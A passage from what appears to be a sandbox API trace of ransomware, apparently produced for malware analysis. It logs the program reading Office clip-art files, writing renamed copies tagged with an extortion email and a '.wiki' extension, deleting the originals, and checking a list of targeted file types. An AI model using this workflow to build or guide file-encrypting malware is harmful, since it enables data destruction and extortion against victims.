Office\\CLIPART\\PUB60COR\\J0107426.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107426.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0195.225] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107426.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107426.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0195.225] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0195.225] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0195.225] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107426.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107426.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0195.225] GetLastError () returned 0x0 [0195.225] ReadFile (in: hFile=0x1f0, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x2ce4, lpOverlapped=0x0) returned 1 [0195.227] WriteFile (in: hFile=0x1f8, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0x2cf0, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0x2cf0, lpOverlapped=0x0) returned 1 [0195.228] ReadFile (in: hFile=0x1f0, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0195.228] WriteFile (in: hFile=0x1f8, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0195.228] SetEndOfFile (hFile=0x1f8) returned 1 [0195.228] CloseHandle (hObject=0x1f8) returned 1 [0195.398] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0195.398] SetEndOfFile (hFile=0x1f0) returned 1 [0195.417] CloseHandle (hObject=0x1f0) returned 1 [0195.425] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107426.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0195.430] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107426.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107426.wmf")) returned 1 [0195.430] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107426.WMF") returned 63 [0195.430] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107426.WMF") returned 63 [0195.430] lstrlenW (lpString=".doc") returned 4 [0195.430] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0195.430] lstrlenW (lpString=".docx") returned 5 [0195.430] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0195.430] lstrlenW (lpString=".pdf") returned 4 [0195.430] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0195.430] lstrlenW (lpString=".xls") returned 4 [0195.430] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0195.430] lstrlenW (lpString=".xlsx") returned 5 [0195.430] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0195.430] lstrlenW (lpString=".ppt") returned 4 [0195.430] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0195.430] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107426.WMF") returned 63 [0195.430] lstrlenW (lpString=".zip") returned 4 [0195.430] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0195.430] lstrlenW (lpString=".rar") returned 4 [0195.430] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0195.430] lstrlenW (lpString=".bz2") returned 4 [0195.430] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0195.430] lstrlenW (lpString=".7z") returned 3 [0195.430] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0195.430] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107426.WMF") returned 63 [0195.430] lstrlenW (lpString=".dbf") returned 4 [0195.430] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0195.431] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107426.WMF") returned 63 [0195.431] lstrlenW (lpString=".1cd") returned 4 [0195.431] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0195.431] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107426.WMF") returned 63 [0195.431] lstrlenW (lpString=".jpg") returned 4 [0195.431] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0195.431] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107426.WMF") returned 63 [0195.431] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107426.WMF") returned 63 [0195.431] lstrlenW (lpString=".doc") returned 4 [0195.431] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0195.431] lstrlenW (lpString=".docx") returned 5 [0195.431] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0195.431] lstrlenW (lpString=".pdf") returned 4 [0195.431] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0195.431] lstrlenW (lpString=".xls") returned 4 [0195.431] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0195.431] lstrlenW (lpString=".xlsx") returned 5 [0195.431] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0195.431] lstrlenW (lpString=".ppt") returned 4 [0195.431] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0195.431] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107426.WMF") returned 63 [0195.431] lstrlenW (lpString=".zip") returned 4 [0195.431] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0195.431] lstrlenW (lpString=".rar") returned 4 [0195.431] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0195.431] lstrlenW (lpString=".bz2") returned 4 [0195.431] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0195.431] lstrlenW (lpString=".7z") returned 3 [0195.431] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0195.431] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107426.WMF") returned 63 [0195.431] lstrlenW (lpString=".dbf") returned 4 [0195.431] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0195.432] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107426.WMF") returned 63 [0195.432] lstrlenW (lpString=".1cd") returned 4 [0195.432] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0195.432] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107426.WMF") returned 63 [0195.432] lstrlenW (lpString=".jpg") returned 4 [0195.432] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0195.432] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0195.432] lstrlenW (lpString="J0107494.WMF") returned 12 [0195.432] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107494.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107494.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0195.432] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=6424) returned 1 [0195.432] CloseHandle (hObject=0x218) returned 1 [0195.432] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107494.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107494.wmf")) returned 0x20 [0195.432] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107494.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107494.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0195.433] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107494.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107494.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0195.433] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0195.433] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0195.433] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107494.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107494.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0195.433] GetLastError () returned 0x0 [0195.433] ReadFile (in: hFile=0x218, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x1918, lpOverlapped=0x0) returned 1 [0195.435] WriteFile (in: hFile=0x1e4, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0x1920, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0x1920, lpOverlapped=0x0) returned 1 [0195.436] ReadFile (in: hFile=0x218, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0195.436] WriteFile (in: hFile=0x1e4, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0195.436] SetEndOfFile (hFile=0x1e4) returned 1 [0195.436] CloseHandle (hObject=0x1e4) returned 1 [0195.436] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0195.436] SetEndOfFile (hFile=0x218) returned 1 [0195.437] CloseHandle (hObject=0x218) returned 1 [0195.437] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107494.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0195.437] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107494.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107494.wmf")) returned 1 [0195.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107494.WMF") returned 63 [0195.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107494.WMF") returned 63 [0195.437] lstrlenW (lpString=".doc") returned 4 [0195.437] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0195.437] lstrlenW (lpString=".docx") returned 5 [0195.437] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0195.437] lstrlenW (lpString=".pdf") returned 4 [0195.437] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0195.438] lstrlenW (lpString=".xls") returned 4 [0195.438] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0195.438] lstrlenW (lpString=".xlsx") returned 5 [0195.438] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0195.438] lstrlenW (lpString=".ppt") returned 4 [0195.438] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0195.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107494.WMF") returned 63 [0195.438] lstrlenW (lpString=".zip") returned 4 [0195.438] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0195.438] lstrlenW (lpString=".rar") returned 4 [0195.438] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0195.438] lstrlenW (lpString=".bz2") returned 4 [0195.438] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0195.438] lstrlenW (lpString=".7z") returned 3 [0195.438] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0195.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107494.WMF") returned 63 [0195.438] lstrlenW (lpString=".dbf") returned 4 [0195.438] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0195.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107494.WMF") returned 63 [0195.438] lstrlenW (lpString=".1cd") returned 4 [0195.438] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0195.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107494.WMF") returned 63 [0195.438] lstrlenW (lpString=".jpg") returned 4 [0195.438] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0195.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107494.WMF") returned 63 [0195.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107494.WMF") returned 63 [0195.438] lstrlenW (lpString=".doc") returned 4 [0195.438] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0195.439] lstrlenW (lpString=".docx") returned 5 [0195.439] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0195.439] lstrlenW (lpString=".pdf") returned 4 [0195.439] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0195.439] lstrlenW (lpString=".xls") returned 4 [0195.439] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0195.439] lstrlenW (lpString=".xlsx") returned 5 [0195.439] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0195.439] lstrlenW (lpString=".ppt") returned 4 [0195.439] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0195.439] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107494.WMF") returned 63 [0195.439] lstrlenW (lpString=".zip") returned 4 [0195.439] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0195.439] lstrlenW (lpString=".rar") returned 4 [0195.439] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0195.439] lstrlenW (lpString=".bz2") returned 4 [0195.439] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0195.439] lstrlenW (lpString=".7z") returned 3 [0195.439] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0195.439] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107494.WMF") returned 63 [0195.439] lstrlenW (lpString=".dbf") returned 4 [0195.439] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0195.439] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107494.WMF") returned 63 [0195.439] lstrlenW (lpString=".1cd") returned 4 [0195.439] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0195.439] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107494.WMF") returned 63 [0195.439] lstrlenW (lpString=".jpg") returned 4 [0195.439] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0195.439] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0195.440] lstrlenW (lpString="J0107496.WMF") returned 12 [0195.440] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107496.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107496.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0195.440] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=8864) returned 1 [0195.440] CloseHandle (hObject=0x218) returned 1 [0195.440] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107496.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107496.wmf")) returned 0x20 [0195.440] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107496.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107496.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0195.440] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107496.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107496.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0195.440] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0195.440] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0195.440] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107496.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107496.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0195.441] GetLastError () returned 0x0 [0195.441] ReadFile (in: hFile=0x218, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x22a0, lpOverlapped=0x0) returned 1 [0195.443] WriteFile (in: hFile=0x1e4, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0x22b0, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0x22b0, lpOverlapped=0x0) returned 1 [0195.444] ReadFile (in: hFile=0x218, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0195.444] WriteFile (in: hFile=0x1e4, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0195.444] SetEndOfFile (hFile=0x1e4) returned 1 [0195.444] CloseHandle (hObject=0x1e4) returned 1 [0195.444] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0195.444] SetEndOfFile (hFile=0x218) returned 1 [0195.445] CloseHandle (hObject=0x218) returned 1 [0195.445] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107496.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0195.445] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107496.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107496.wmf")) returned 1 [0195.445] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107496.WMF") returned 63 [0195.445] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107496.WMF") returned 63 [0195.445] lstrlenW (lpString=".doc") returned 4 [0195.445] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0195.445] lstrlenW (lpString=".docx") returned 5 [0195.445] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0195.445] lstrlenW (lpString=".pdf") returned 4 [0195.445] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0195.445] lstrlenW (lpString=".xls") returned 4 [0195.445] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0195.445] lstrlenW (lpString=".xlsx") returned 5 [0195.445] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0195.445] lstrlenW (lpString=".ppt") returned 4 [0195.446] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0195.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107496.WMF") returned 63 [0195.446] lstrlenW (lpString=".zip") returned 4 [0195.446] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0195.446] lstrlenW (lpString=".rar") returned 4 [0195.446] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0195.446] lstrlenW (lpString=".bz2") returned 4 [0195.446] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0195.446] lstrlenW (lpString=".7z") returned 3 [0195.446] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0195.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107496.WMF") returned 63 [0195.446] lstrlenW (lpString=".dbf") returned 4 [0195.446] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0195.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107496.WMF") returned 63 [0195.446] lstrlenW (lpString=".1cd") returned 4 [0195.446] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0195.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107496.WMF") returned 63 [0195.446] lstrlenW (lpString=".jpg") returned 4 [0195.446] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0195.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107496.WMF") returned 63 [0195.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107496.WMF") returned 63 [0195.446] lstrlenW (lpString=".doc") returned 4 [0195.446] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0195.446] lstrlenW (lpString=".docx") returned 5 [0195.446] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0195.446] lstrlenW (lpString=".pdf") returned 4 [0195.446] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0195.446] lstrlenW (lpString=".xls") returned 4 [0195.446] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0195.446] lstrlenW (lpString=".xlsx") returned 5 [0195.446] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0195.447] lstrlenW (lpString=".ppt") returned 4 [0195.447] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0195.447] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107496.WMF") returned 63 [0195.447] lstrlenW (lpString=".zip") returned 4 [0195.447] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0195.447] lstrlenW (lpString=".rar") returned 4 [0195.447] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0195.447] lstrlenW (lpString=".bz2") returned 4 [0195.447] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0195.447] lstrlenW (lpString=".7z") returned 3 [0195.447] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0195.447] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107496.WMF") returned 63 [0195.447] lstrlenW (lpString=".dbf") returned 4 [0195.447] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0195.447] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107496.WMF") returned 63 [0195.447] lstrlenW (lpString=".1cd") returned 4 [0195.447] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0195.447] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107496.WMF") returned 63 [0195.447] lstrlenW (lpString=".jpg") returned 4 [0195.447] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0195.447] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0195.447] lstrlenW (lpString="J0107500.WMF") returned 12 [0195.447] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107500.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107500.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0195.448] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=4200) returned 1 [0195.448] CloseHandle (hObject=0x218) returned 1 [0195.448] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107500.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107500.wmf")) returned 0x20 [0195.448] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107500.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107500.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0195.448] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107500.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107500.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0195.448] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0195.448] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, 